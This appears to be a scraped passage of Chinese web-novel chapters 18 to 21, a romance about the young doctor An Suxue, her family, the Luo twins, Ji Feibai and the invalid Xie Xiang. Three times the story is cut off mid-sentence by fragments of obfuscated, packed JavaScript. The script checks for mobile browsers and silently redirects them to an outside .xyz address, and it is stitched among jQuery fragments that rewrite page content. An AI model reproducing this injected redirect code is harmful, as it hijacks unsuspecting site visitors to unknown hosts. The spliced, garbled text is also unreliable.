l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655268|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里三个大人也笑起来。 安杏花拨弄晒的差不多的药材,她平日里也没什么意思,就喜欢和左邻右舍聊天,随口聊道:“飞白,是家里请的武师傅教你吗?” “不是。” 安杏花道:“莫不是学堂里教的?我听人家说,那些世家子弟去的学堂什么都教,什么君子六艺什么的。” 季飞白嗯了一声,好像没有想和安杏花聊天的意思。 就在这时,前院里的陈香玉来了,瞥了一眼安素雪。“有人找你。” “谁啊。” “你去了不就知道了。” 安素雪放下小竹子,安杏花连忙过来怕孩子摔倒,“去吧,说不准是找你看诊的。” 说是医者面前无男女,但不少年少的姑娘夫人都喜欢找女大夫,尤其是找安素雪的,大多是因为她医术好而来的回头客。 到了前厅一看,竟然是余姑娘。 对方热情的上前和她叙话,也不像是来看诊的模样,说了会话留下一份金丝糕就走了。 没过几日,余姑娘又来了,还给安素雪带了一盒胭脂。 对方是客人,也不好留在前面医馆站着,便带去后院坐了。 正好赶上季飞白在练剑,余姑娘眼睛简直要黏在他身上了。 城里的富贵公子郎君们,都喜穿着各种名贵料子的锦袍,温文尔雅风度翩翩。像是干苦力的那些人才穿短打,能一眼辨别身份。 以前在季家的时候,季飞白穿着混合吐蕃和西戎的衣服款式,收腰贴身,方便行动。到了这边只有短打,他也不嫌弃,穿的自在。 按理来说,该看不上眼才是,但这人长相着实太出众了。 那日在街上偶遇,余秋巧眼前一亮。今日天亮之下再看,比黄昏时分更加赏心悦目,不仅是样貌好,身材也一等,挽起袖子露出半截劲瘦蜜色小臂,简直是扑面而来的男子气概。 “余小姐,余小姐?” 她还在如痴如醉,安素雪顺着她视线看过去,只看见季飞白悬胆似的鼻子下紧抿的唇。 他眉骨高,此刻深邃的眸子里染了几分不耐烦,手上挽了个剑花,倏地朝着她们方向冲来。 动作迅疾如风,在她们身前半丈远的地方停下。 安素雪只是吓了一跳,余姑娘则是尖叫出声,惨白着脸捂着胸口。余家丫鬟连忙上前,训斥道:“你做什么?吓坏了我们小姐!” 季飞白收招,剑刃立在自己身后,声音淡淡:“我在自己住处练剑,还碍了姑娘的眼?” 丫鬟气愤的跺脚,觉得这人未免太不解风情了!要不是看他长的俊俏特别,她家姑娘才不来这破地方呢! 余家主仆灰溜溜的走了。 季飞白沉默的擦剑,余光瞥见安素雪一脸苦恼的模样。 她发现姓余的别有心思了? 季飞白停下动作,等着她过来解释,果然,没一会安素雪走了过来,然而却拿起他身边晾晒的簸箕,掂了掂灰,自说自话道:“余姑娘好像没生病啊。” 那她怎么日日都来医馆? 呵。 果然是个心思迟钝的。 季飞白嗤笑:“笨蛋。” 18. 第 18 章 余姑娘日日都来,总是会带着小礼物送给她,安素雪过意不去,便做了一个香膏回礼。 “现在春日风大干燥,养颜膏有滋润皮肤的功效。” 余姑娘笑着道谢,随手扔给了身后的丫鬟,然后她自己搂住安素雪的胳膊,亲亲密密道:“走,去后院坐着吧。” 那日被季飞白吓到之后她三日不曾来,安素雪还担心吓坏她上门去探望来着,结果她没事,只是那几日不在家。 “这不,刚回来就来找你了。”俩人贴的近,瞧着亲亲密密的,等她们去了后院,陈香玉哼了一声。 “从衣着打扮上看,她们可不是一路人。” 柜台后正在帮忙研制五毒贴的陈山置若罔闻,陈香玉气的跺脚。她爹一钻研起医道来废寝忘食沉迷其中,当真是个医痴。 桌子上还放着一包糕点,是那个叫余姑娘带来的三包,安素雪放了一包在前厅,剩下的两包则是拿去后院,一个被弟弟,另外一个送去给季飞白。 异域少年最近整日练武,从早到晚,几乎不停歇,余姑娘远远的看着,见安素雪过去说了什么,打拳的少年并未停住动作,安素雪便将糕点放在了一旁。 走回来坐下,俩个姑娘家开始聊天。 其实大多时候是余姑娘说话,安素雪偶尔插一句。不是她不想说,是对方讨论的胭脂水粉绣活女红,她着实一窍不通。 若是谈论养颜膏里面含什么药材,安素雪才会头头是道。 “戏法班子快要离开了,我们再去看一次吧!” 这些日子安素雪忙着五毒贴的事情,确实没什么事情,但刚交下的朋友邀请,她又不好意思拒绝。 正犹豫着,抱孩子出去串门的安杏花回来了,不过没见小竹子。安素雪问:“娘,弟弟呢?” 在你赵大婶家,尿裤子了,我来拿件换洗的。” 余姑娘会说话,连忙叫人。她来过好几次,安杏花自然认识她,眉开眼笑的过来说了会话,为自己女儿终于找到朋友而高兴,还留人吃饭。 “我想着和安安一起去看戏法,就直接在外面吃了。”余姑娘说。 “看去吧,我听说人家要演完走了,安安,去吧去吧,跟余姑娘去!” 能出门散心是好事,安杏花还给安素雪零花钱,让她请余姑娘吃饭用。余姑娘嘴甜的道谢,状似随口道:“那个,他也一起去吧。” 说的是练完武正在洗脸的季飞白。 他当然不会去,从水盆里抬起脑袋欲要拒绝,不知想到了什么,深邃的眸子荡漾开笑意。 “好。” 三个人结伴而行,余姑娘一直在找机会和季飞白说话,不过这人未免太过冷心冷情了些,一路上都没说几句话。 余姑娘幽怨的看他,季飞白神色坦然,专心致志看杂耍。 俩人中间是安素雪,饶是她对于男女之情一窍不通,也发现余姑娘的不对劲了。 她怎么老是看季飞白?于是,安素雪也转头看季飞白。 他眉骨生的高,鼻梁也挺拔,侧颜也是赏心悦目。不知不觉,安素雪看了好一会,回过神来的她脸色涨红,幸而天黑了看不清。 “我去买绿豆水。” 因着戏班子,附近不少摆摊的小贩,卖什么的都有,光是卖饮子的就两家。安素雪买了四份,给余家丫鬟时,那丫鬟受宠若惊,没想到自己也有。 只是坐下时安素雪发现问题,余姑娘坐在了她的位置。不过也不是什么大事,她便坐下继续看戏法。 旁边俩人也不知低声说了什么,聊的火热,安素雪低头喝了口绿豆水,淡淡的甜意散开,清凉爽口。 回去路上安素雪落后一步,和余家的丫鬟并排走,前面季飞白和余姑娘还在说着什么,待过了桥,余家的马车早就等候多时,余姑娘上车后还撩着帘子,笑盈盈的道:“季公子,明日茶楼详谈。” 季飞白颔首。 春夏之际,白长夜短,天色才刚刚擦黑,陈家医馆门前点了两盏灯笼照亮门前路,俩人的影子映在地上,修长的人影问:“没什么想说的?” 安素雪疑惑的看他,漂亮的眼眸里映出温馨的烛光亮。 季飞白眉梢微蹙,说不出来怎么回事,觉得心下有股躁意,直接大步离去。 “这人……”落后的安素雪着实猜不透他,正当跨门槛时候,身后有人喊她。 “安安,安安。” 不用回头就知道是罗武,安素雪转过身,罗武正好到近前。 “安安,我听陈叔说你去看戏法了,怎么没叫我啊。”罗武委屈。 “叫我多好,一起去。” 之前他找了安素雪好几次,但她太忙了俱是没时间,这次却和季飞白一起去看戏,罗武不由得警铃大作心生危机感。 诚然,大哥说季飞白不喜欢安安,可罗武还是不放心。安安温柔可爱,又有一颗菩萨心肠,谁会不喜欢她啊。 “突然起意,而且是和余姑娘一起。” 安素雪耐心的解释,罗武十分受用,便邀她明日再去看。“还有最后三天,三天之后戏班子就走了,对了,附近摆摊一家阳春面特别好吃,安安,我请你去吃。” 罗武都计划好了,先吃饭再看戏,然后他们一起买饮子喝。只要俩人单独相处,相信总能日久生情! 可惜计划是计划,现实是现实。 安素雪婉拒道:“不好意思啊,这几天确实忙,我在做膏药,待膏药做好之后闲下来,我请你去茶楼听故事吧。” …… 垂头丧气的罗武回家,罗母正在清点明天早上要送的货,随手拍了下二儿子,嫌弃道:“野小子,成天往外跑,你就不能学学你大哥在家帮娘干活。” 罗文的脸第二天就消肿了,现在脸上几乎没什么痕迹,那他也一直没出门,就在家里帮忙酿酒和搬货。 他抬头看罗武,罗武别过头不和他对视。 罗母视线在两个儿子中间扫了一圈,“你们两兄弟怎么回事?好几天都不说话。” 家有双生子,有甜也有苦。 甜的是两个儿子一表人才人见人夸,苦的是从小就打架,若是她买了一样东西,小时候两兄弟便会大打出手争抢。若是买了两个不一样的也不成,照旧打做一团,总觉得对方的好。所以不管买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667197|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,都必须买两个一模一样的。 正因为如此,俩兄弟时常来找亲娘断案,随着他们年岁增长倒是不打架了,但显然这次事情很是严重,竟然好几天都不说话。 罗母估摸着是二人争抢什么东西?所以她道:“和娘说说怎么了,娘帮你们断案。” “没事。”罗文率先回话,“小摩擦。” 罗武闷不吭声。 天热了,夜里睡觉得将窗子开个缝隙,罗武开好窗子后,罗文道:“将驱蚊草放在窗户风口处,你爱招蚊虫。” 罗武没动,自顾自地躺下。 罗文叹了口气,起身去将草摆放好,又将窗户缝开小一寸,免得夜风直吹罗武头顶。 虽然俩人是同天出生,但显然早出生一个时辰的罗文更加照顾弟弟。躺下之后,罗文有心和他说什么,但又不知道找什么话题,只能瞪着屋顶发愣。 “哎……”没想到罗武突然发声,他依旧是背对着罗文,“你之前说过的话还算不算数?” “算。” 罗武心有不甘,缓了好一会才闷声闷气道:“我原谅你了,但也得继续帮我,只要能让安安喜欢我就行,我只想要这个结果。” 也就是说,过程如何他强求不了。 现在他都没机会和安安相处,该怎么让她喜欢自己?罗武这几天急的如热锅上的蚂蚁,他无计可施。想起来罗文曾经答应的话,罗武最后拉下脸请他帮忙。 罗文自然应下。 黑夜里罗武翻过身,目光炯炯的看他:“我还有一个条件。” 罗文:“你说。” “我知道你喜欢安安,但是我先喜欢的她,该讲究先来后到,所以你要答应我,不许再喜欢她,她将来是你的弟妹。” 罗武自知这是在强人所难,所以他盯着罗文的方向等待回音。 好半响之后,浓墨的夜色里传来罗文的回应。“好,我答应你,不会再喜欢她。” “这还差不多。”罗武满意的翻过身睡觉去了,没一会就响起鼾声,但罗文却翻来覆去无法入睡。 …… 翌日,罗家兄弟去给对街的谢府送酒水。 谢府要的都是最好最贵的酒,差不多三天要一次,今日领路的丫鬟是个脸生的,不是上次那人。 仔细想想,好像每次领路的都不是一个。果然家大业大人也多,罗武还四处观望,罗文踢了他一脚。 “看路。” 谢公子年纪轻轻就有如此家业,来头恐怕不小。 听说那些世家大族最是有规矩,他们来送酒而已,还是莫要沾上是非才好。 一路跟着往里走,路过花园时候听见熟悉的温柔嗓音。罗文偏头,就见花丛旁立着安素雪,而她身边则是坐轮椅的谢公子。 他穿着一身玄色锦袍,颜色阴郁和他这个人一般。但他双膝之上有只浑身杂毛的滚地锦,正蜷缩着,似乎是睡着了。 “原来真的是谢公子养的。”安素雪朝着他笑,眉眼弯弯,楚楚动人。 谢骧露出一抹笑,不动声色的按住要逃跑猫儿的后腿,摸着它脑袋。 “乖。” 19. 第 19 章 春日暖阳镀在身上,柳叶眉杏仁眼,温柔恭顺言笑晏晏,真如救苦救难的女菩萨。 今日女大夫明显情绪高涨,一方面是因为谢骧肯出来晒太阳散心,另一方面则是因着五毒贴有了新进展,她这次来除了给他换药外,就是为了告诉好消息。 “不过要试试效果,所以再过几日才能拿来给公子用。” 昨晚她就贴在身上了,但只感受到发热,至于效果不好说。安杏花腿脚早年受过伤,今早便朝她讨了两副,说帮忙试试效果。 安素雪还不想给,怕出什么岔子,陈山则是道:“有我帮你看过方子,放心,毒性恰到好处的中和,里面又放了不少滋补之物,有利无害。” 安素雪松了口气,亲自给安杏花贴上。 至于效果,还要再看几天,后续方便调整方子。 谢骧摸着腿上猫儿的脊背,感受到它战战兢兢,他笑容越发的畅快。 “劳烦安姑娘了。” “现在天气大好,公子还要多多出来透气才好。”安素雪温声的说话,谢骧偶尔点头应声,俊男美女,好一副养眼的春日图画。 见安素雪朝前一步走似要靠近,不远处的红袖跺了跺脚,赶忙抱着古琴小跑过去,赶在安素雪开口前插话道:“公子,您要的琴拿来了。” 谢骧声音不轻不重:“拿来。” 其实安素雪只是想看猫罢了。 红袖走近,把琴放在谢骧旁边的桌子上。 他右手去推轮子,膝盖上的滚地锦没了束缚立刻挣脱他左手,喵了两声跳下去,作势就要往花丛里钻。 “抓住狸奴。”他淡声吩咐。 红袖露出嫌弃的神色,但也不敢怠慢,连忙召唤人手开始满花园的抓猫,鸡飞狗跳,让平日死气沉沉的谢府增添了人间烟火气。 安素雪笑着看猫儿左闪右避,不过看着看着,她发现不对劲。 “谢公子,小猫的后腿是不是受伤了?我看它跳跃困难,隐约有血迹。” 不过滚地锦的毛色太杂,后腿上黑猫占多数,加之它跳来跳去,一时还看不真切。 “调皮惯了,有些乏力罢了。” “也是。” 安素雪欲要再看时,忽听一阵悦耳的琴声,她回过头见谢骧动作优雅的波动琴弦。 大抵是因为长久不见日光,他皮肤惨白,手背上隐现青色血管,修长的长指微屈,便从指尖上流淌出美妙的曲调。 整日和药材为伍,琴棋书画安素雪一窍不通,所以此刻眼睛里带了钦佩神色,全神贯注看向谢骧,也就没注意到红袖抓住滚地锦,那猫儿后脚滴落不少血迹洒在草地上。 …… 回家后,医馆里陈香玉又不知所踪,陈山在给一个客人抓方子,他抬头道:“安安啊,你去后院看看你娘和小竹子。” “好。” 快步朝着后院去,小竹子在自己蹲着玩蚂蚁,安杏花则是弯腰凑在一个中年算命先生身边,面色煞白的说着什么。 她两只手攥着帕子,心如刀绞。 “先生,你再帮忙掐算掐算,劫到底会落在谁身上?是否有破解之法?” 昨天附近邻居告诉她,有个算命先生掐算的准。安杏花嘴上说着不信那个,第二天就将人请家里来。 她的本意是想给安素雪算算姻缘,眼看着就要及笄了,却没有媒人上门提亲,生怕将孩子婚事耽搁,对不起她死去的爹。 可还没等她说要算什么,老道闭眼掐指,神神叨叨的说陈家将有大劫! 这可把安杏花吓坏了,连忙请人坐下,想知道是什么劫。 “贫道修行不够,只能算出来有劫难,至于应在谁身上就不得而知了。破解之法也很难找,一切自有天意。” 先生甩着拂尘,面容清瘦仙风道骨,可比早年前在村子里给安素雪断命的算命先生看着靠谱多了。 于是安杏花压下害怕和心悸,难得脑子转的快,先将破解大劫的事情揭过去不提,说请他帮忙算孩子姻缘。 “就是她吧。”算命先生突然睁眼,精神抖擞,朝着安素雪看过来。 “对对,就是她,我的女儿小名唤作安安。” 安素雪一听提到自己,便走近几步,安杏花低声将她的生辰八字报了。 安素雪瞬间明白她娘亲要做什么。 她从不相信这些鬼神之说的。 “安安,过来,走近些。”安杏花招手。 当了两个孩子的娘,安杏花早已不再年轻,眼角的褶皱每年都添上一道。幸好现在生活富足,她不在是安素雪记忆里那般消瘦,每日苦着脸的模样。 安素雪没过多犹豫便上前,算命先生先是细细看了眼安素雪的面相,随后他右手掐着指头,比方才算的时候动作快,而且用的时间更长。 算命先生久久不说话,安杏花心里越发没底。 许久之后,那算命先生睁开眼笑着道:“恭喜啊,令爱命中带贵人,那位贵人会平步青云,前途不可限量!” 安杏花一扫方才的忧虑,肉眼可见的欢喜起来,双手拍巴掌表示喜悦,两只手拍的通红。 小碎步过来的弟弟被亲娘的喜悦感染,跟着嘿嘿笑,见此,安素雪也露出笑意。 “那位贵人是谁?何时出现?”安杏花连忙追问。 算命先生神秘一笑,不再言语。 为何不说话? 安素雪正思忱着,旁边的安杏花立刻从荷包里掏出一把铜板塞进算命先生手心里。 算命先生将钱揣好,摇头晃脑道:“天机不可泄露。” 她就说女儿不是什么克星! 看,带贵人的! 安杏花高兴之余,也想早点弄清楚对方是谁,于是咬咬牙给了算命先生一两银子。 一个小小的银锭子,让算命先生笑的见牙不见眼,安杏花觉得大价钱都花了,便想弄清楚两件事,一个是贵人,一个是他们家的劫落在谁身上,怎么破解。 “只需要知道他乃亲近之人便可。” “亲近之人?” 安杏花脑海里将远亲想了个遍,连个秀才都没有,哪里有贵人? “先生,你行行好,给我指个明路。” 那算命先生却是什么都不肯说了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699806|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安杏花便说正好到了吃饭的时候,留下他一起吃饭。 “正好今日有人给送了条大肥鱼,哎呀先生,你应该是俗世修行,可以吃荤腥吧?” 那算命先生捋着胡子嗯了一声。 吃饭前还叫旁边罗家送了坛酒水,罗武一听赶忙自动请缨说他去送,罗母指着桌子上的坛子。“喏,去吧。” “十里春?他们喝酒劲这么大的,也不怕下桌就倒下,娘,不如送青梅酿过去。” 安安爱喝果酒,酸酸甜甜不上头。 “这是人家点名要的,招待贵客用的,行了快去!” 罗母照着憨儿子的肩膀锤了一下,罗武赶忙抱酒坛子走了,留下罗母捂着被打红的手心。 “铁做的身子不成?” …… 安杏花手艺不错,炖鱼的时候还下了半斤五花肉,满满一大盆。除此之外,还准备了几样爽口小菜还有买来的一只烧鸡。 普通人家吃这些,那就和过年没区别了。 小竹子可高兴了,捧着鸡腿啃的香,陈山这人沉默惯了,也指望不上,只能安杏花和算命先生说话。说几句,陈山就给对方满上酒,然后举杯痛饮。 有美食有美酒,还有人陪着喝,算命先生一杯接一杯的下肚,吃到一半陈山又隔着墙喊罗武送酒水过来。 罗武喜滋滋乐颠颠的送来,见季飞白竟然也在喝酒。十里春算是烈酒,寻常汉子恐怕两碗就倒,他怎么像是没事人一样? 待吃完饭,两坛子酒水也没了,陈山倒头睡在饭桌上,安杏花叫了他几声没有反应后,季飞白起身。 异域少年浑身酒气,却眼神清明脚步沉稳。“我送陈叔去休息。” “你自己扶不动,我同你一起。”安杏花道。 谁料话音刚落,季飞白轻松的扶起陈山,将胳膊架在自己脖子上,扶着人往内室去了。 陈香玉嫌弃酒味浓,吃饱了就离开,安素雪还端坐着,打算帮母亲收拾桌子。 安杏花急匆匆的过来,弯腰对坐在那要酒喝脸颊坨红晕晕乎乎的算命先生说:“先生啊,贵人到底是谁啊?” “嗝~” 打个酒嗝的算命先生醉眼朦胧,晃着手说:“天机不可泄露,天机不可泄露啊。” 安杏花将酒坛子口朝下,最后半碗酒倒入碗里,递给算命先生,看着他喝下去后,安杏花换了问法。 “先生,贵人姓什么啊?” 若是知道姓名,自然再好不过。 那算命先生迷糊的都要坐不住了,闭着眼睛靠在椅背上,嘴里含糊说着什么。 安杏花凑过去,就听他在小声念叨着:“青梅竹马两小无猜。” 说完,身子一重醉的往地上栽倒。 安杏花还思量着贵人身份没注意到这些,安素雪则是离的太远,起身往这边来时眼看着算命先生就要倒下去。 就在这时安素雪觉得身边飘过一阵风。 随后本该在内室的季飞白出现在算命先生身边,大掌扶住对方的脑袋,将人推回座位上。 季飞白转过头,晦涩莫辨的看了她一眼。 20. 第 20 章 酒醒后的算命先生头痛欲裂,安杏花笑呵呵的给他端了醒酒汤。 “先生尝尝,里面还加了山参!” 寻常人家可放不起这么贵重的东西,那算命先生喝了一碗,果然缓解。他收拾好便要走,安杏花请教破解之法。 “既然先生不肯说劫落在谁身上,那告诉我怎么避劫总行吧?” 算命先生一脸为难,安杏花明白了,这是要钱。 医馆挣的钱都放在钱庄了,后院只有买菜的铜板,于是安杏花匆匆去了前厅拿钱。 陈香玉一早不知道做什么去了,只有陈山和安素雪在,似乎还在钻研什么五毒贴。安杏花不懂,只言明要十两银子。 “十两?”陈山脑袋突突,“你要给算命先生?” 安杏花便将事情说了,陈山不甚赞同。 “都说了是江湖骗子的手段,先说有什么血光之灾,然后再让人花钱破解,说白了就是骗钱。” “我看他不是骗子,”安杏花信誓旦旦,“你知道刘家小儿子吗?前些日子一直夜啼,他爹找了这个算命先生过去,当天晚上就好了。还有斜巷最里面那户人家,总觉得夜里院子里有动静,也是先生过去,说他们冲了煞,做法之后也好了。” 陈山皱眉,安杏花滔滔不绝的说着,安素雪垂手静静立在一旁。 过了片刻,陈山无可奈何道:“好好,给你就是。” 安杏花喜笑颜开,拿着钱走了。 “你娘啊,耳根子太软。” 陈山就说了这么一句,并未抱怨十两银子的事情,这些年他也是如此,对待安杏花呵护备至,钱财一事向来大方。 收了钱的算命先生还真给了法子,那就是让他们人手一个平安符,说是里面用了黑狗血,可以驱邪避凶。 晌午吃饭时候季飞白不在,安素雪还问了一句,陈山说:“他说有事,晚上回来。” 虽说在他家寄居,但总不好约束,而且季飞白年少,正是游玩的年纪,就任由他去,陈山还给他零花钱,可季飞白没要。 小竹子脖子上系着红绳,拴着花钱得来的平安符,其他人也都有,陈香玉看不上,随手扔在房间里,安杏花问起时候,她假装说带在身上。 陈山总觉得妻子被骗了,但安杏花给他戴平安符时他没拒绝,还将其贴着里衣放好,生怕丢了。 虽然俩人是半路夫妻,可伉俪情深,连安素雪都感觉到安杏花在陈家过的舒心。 对于生父,她没有太多记忆,甚至不记得对方的脸。不过她隐约记得安杏花日夜以泪洗面,和清瘦可见骨的虚弱身体。 嫁给陈山后,安杏花才算过上了好日子,身材也逐渐丰腴起来,总是笑盈盈的,看着就喜庆。 见娘亲过的好,安素雪打心眼里跟着高兴。 “娘,五毒贴效果如何?” 晚上做饭,小竹子被陈山抱去医馆里玩,安素雪帮忙烧火,安杏花在炒菜,娘俩闲聊几句。 “还行,好像是比之前好了不少。”她抬头看一眼天,阴沉沉的。 “以前阴天下雨,我这膝盖和小腿就酸疼,这几年你陈叔给我按按,确实强上不少,但都是陈年旧疾,治不好的,只能缓解。” “幸好嫁了个大夫,”安杏花笑着看女儿,“安安你年岁也不小了,今年及笄之后就得寻合适人家。” 安素雪对于嫁人好像没有特别热烈的渴望,甚至有时候忘了自己今年要举办最重要的及笄礼。 “那算命先生说了,贵人就是你身边之人,”安杏花把锅盖盖好,蹲下来和女儿小声嘱咐,“我琢磨来琢磨去,好像只有四个合适人选。” 安素雪眉心一跳。 “你看啊,他说你命里带贵人,还说青梅竹马,但好像只有罗文和罗武算是一起长大的。我觉得呢,也不是说非要认识许多年,只要认识时间长了就算。” 主要是没觉得罗家兄弟以后会平步青云,这话安杏花不好说,便只能将这个范围扩大,广撒网总能捞到鱼,到时候女儿嫁了好人家,看谁敢说她是孤寡的命! “季飞白也来咱们家不短的日子了,他父亲来消息,说要让他暂时住着,至于何时回去并未言明,你想啊,这也算青梅竹马对不对?” 有点牵强,安素雪想。 安杏花还在喜滋滋的分析,悄悄摸摸,像是做贼似的压低音量:“还有啊,你总去的那家谢府不是还有个谢公子嘛,我问过你陈叔,他说谢公子约莫弱冠之年,他能买下那么一间大宅院又仆从成群,身份肯定不简单。” 安素雪眨眨眼:“这也算吗?” “算!怎么不算!只要和你接触过的都作数!安安,娘告诉你啊,你要这样,再这样。” 一炷香之后,安素雪头昏脑涨的从厨房出来,手里端着的菜盘子都要拿不稳了。 暮色四合,炊烟袅袅。 每当到了饭口的时辰,整个医馆便会弥散着饭菜香气。大抵是之前日子过的苦没什么好东西,安杏花还得让女儿吃的好,于是一根萝卜也能让她做出花来,根本比不上现在每日都能见到荤腥。 “刚宰杀的猪,要了一根排骨炖汤,出锅前加了把青菜,来一人盛一碗。” 季飞白回来的巧,刚盛好他就进来,安杏花把他那碗放下,笑着让他洗手。 吃饭时季飞白看见安素雪脖子上的红绳,小竹子和其他人也有,应该就是他出门时听见算命先生说的“平安符”。 …… 吃完饭,安杏花叫住季飞白,“飞白,你等会。” 季飞白停住脚乖乖的站在那。 春日衣裳薄,他穿着一身玄色短打,腰间系着同色布条做腰带,普普通通的打扮却因为穿着的人而格外与众不同气质出众。 收拾碗筷的安素雪抬头正好看见他的侧脸。 凭心而论,她承认季飞白是她见过人里长的最好看的,而且琥珀色的眸子着实少见,不免多看他两眼。 谁料对方倏地转过头来,年轻张扬的人挑眉看她,漂亮的唇张开,无声说了句。 “没见过长的好看的?” 安素雪怔愣住,季飞白笑的意气风发。 这时候安杏花从内室出来,季飞白转过头收敛笑意神色如常,仿若方才什么都没发生过。 “飞白啊,这是我和算命先生求来的平安符,你带在身上可保平安。” “给我?” 季飞白怔了怔,没想到自己也有份。 “当然,绳子我都帮你系好了,别小看红绳,这可是我在城外寺庙里买的,方丈大师开过光的好东西,城里的百姓会用来系在手上脚上保平安呢。” 季飞白接过来,久久不能言语。 他知道家里给了一百两的银票,也知道陈山要将银票拿出来时,安杏花是不愿意的,季飞白不觉得她有什么错,乃是人之常情,甚至她花费重金给家人求的平安福只 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安杏花嘱咐道:“洗澡沐浴的时候记得摘下来,沾水就不灵了。” 现在天气渐热,季飞白又总是练武到深夜一身薄汗,因此每日都要沐浴清洗。自从那日被安素雪看见后,季飞白便拎一桶凉水进屋里擦拭,他不觉得冷,反正习惯了。 脱了外裳,露出喷薄的肌肉,他拿起毛巾扔进凉水盆里,再拿出来后就是湿淋淋的,从胳膊开始擦,顺着胸口往下,擦完后清洗一遍,欲要擦脖子时突然顿住。 毛巾被投掷进水盆里,迸溅出水花。 季飞白侧过身,抬手把脖子上的平安符摘下,这才继续清洗。 …… 黄昏时云厚压顶,到了夜里果然淅淅沥沥开始下起小雨。 神清气爽的季飞白推开半扇窗,房屋是去年新铺的瓦,雨水顺着屋檐落下,像是散落的珠子。 月亮躲在乌云后,院子里果然如他所想,空无一人。 翌日天气晴朗。 空气都变得干净清爽,让人心旷神怡。吃完饭的安素雪收拾好药箱,在前厅医馆里和陈山再次讨论,陈山道:“安安你放心去,就算没效果也不会有损伤。” 安素雪用自己试了膏药,安杏花心疼女儿,便也用了五毒贴。她们不知道的是,陈山小腿上也各贴着一贴,只是他沉闷惯了不爱声张。 “我也是这样想,对了陈叔,如果效果好,可否在医馆里卖成贴?现在这个时节百姓播种,操劳过后难免有损伤,严重一些的关节处还会囊肿含水,相比于用针戳破放水,用膏药贴慢慢吸收回去损伤更小。” 寻常人自然不得用,得是非常严重的病才行,毕竟含毒素,非同小可。 陈山思忱,那边坐在柜台后的陈香玉不阴不阳道:“真是异想天开,铺子里又不是没有对症的膏药,非要用你那个什么五毒贴,若是贴坏了算谁的?” 后门帘子掀动,是季飞白走出来,看向安素雪道:“你不是去谢府?怎么还在这。” “对,我得赶紧去了。” 说罢,俩人急匆匆的一起离开。 出了医馆,她问他去哪里,季飞白啧了一声。 “你当真是面团捏的。” 也不知道怎么就独对他张牙舞爪,像是个被惹炸毛的小猫。 21. 第 21 章 季飞白不知道去做什么,好像很是忙碌的样子,安素雪看着对方背影消失在人群里。 虽说对方是寄宿在她家,但她也不好过多询问,都是成人做自己的事情无可厚非。她快步过了街,这条路乃是城里最繁华的街道,路两边大多是商铺,像谢府占地如此之广却只作私宅用的着实少见。 叩门之后虽然是面生的仆从,但对方好像认识她,连忙唤了声安大夫。 “里面请。” 谢府来过多次,可谓轻车熟路,原本以为要进主院,却不想那仆从将她带去了花园方向。 若隐若现的琴声悠扬悦耳,安素雪不懂这些,但感叹一句谢公子当真是才华横溢。 快走到花园拱门时,琴声忽然变得激昂起来,宛若千军万马,铁石相击,听得人热血之中带了烦躁之意,安素雪不由得缓下脚步。 站在谢骧身后的红袖和添香瞧见安素雪走近,添香有意去提醒主子,但红袖朝着她摇头,压低声音道:“公子性情你是知道的,最讨厌别人打断他做事。” 包括看书写字,也包括摆琴弄乐。 可没想到未等安素雪走到近前,谢骧便已经停了手,掌心放在琴弦上,感受嗡嗡之声,转头朝着安素雪看过来,微笑道:“安姑娘。” 伯弦雅乐之事安素雪简直是一窍不通,只能干巴巴的鼓掌,笑着说好技艺。 谢府上下只有谢骧一个主子,其他人从不敢多和他说话,像是红袖这等大丫鬟也不敢说什么主子厉害的话语,因此安素雪的夸赞便显得可贵可爱。 走到桌子旁,安素雪把自己的药箱放在凳子上,拿出里面的五毒贴讲解一番。 谢骧静静的听着,红袖和添香则是都不认为她做的膏药能治好主子的腿。京城名医如云,都拿主子的腿没办法,说是解毒太晚,毒入骨髓,能醒过来已经是大幸。小小医女,还妄图用自己粗制滥造的东西给主子用。 红袖忍不住了,提醒道:“主子,安大夫做的五毒贴固然理论上有效果,但毕竟材料都是毒物,而且也没有在市面上流通过,若是贸然用了,恐怕对您身体有损伤。” 谢骧不置可否。 安素雪立刻解释道:“方子是和旁人一起研究的,对方公子认识,是我陈叔。他半辈子行医经验丰富老道,提了不少中和毒性又能保持药效的办法,最后得出这么一副方子,有效果且对于公子来说没有副作用。” 红袖皱着眉头,怎么都觉得不可行。 “我们主子不是普通身份,他……” “红袖,闭嘴。” 红袖脸色讪讪,连忙称是退后一步。 “安姑娘,你继续说。”谢骧抬了抬手,动作优雅贵气十足。他今日出来晒了会儿太阳,面上难得出现血色,虽看着脸颊消瘦,但也是个矜贵公子哥,尤其唇角含笑时,周身便带了温润之感,不再像之前那样难以接近。 安素雪看了眼红袖,保证道:“公子放心,肯定不会对你身体有任何损伤。” 谢骧颔首。 春日的微风拂过,鸟鸣啾啾,花香烂漫,他声音低沉悦耳,“红袖添香,你们回房间准备好东西。” 红袖张了张嘴似乎想要说什么,添香赶忙拽她的袖子走了。出花园里才敢小声议论,红袖不满:“你拽我做什么?治病得回房里,我要推公子回去。” 都说当局者迷旁观者清,这儿会添香脑子转的快,低声道:“你糊涂了不成!公子说让我们回房准备,就是不让你我推的意思。” 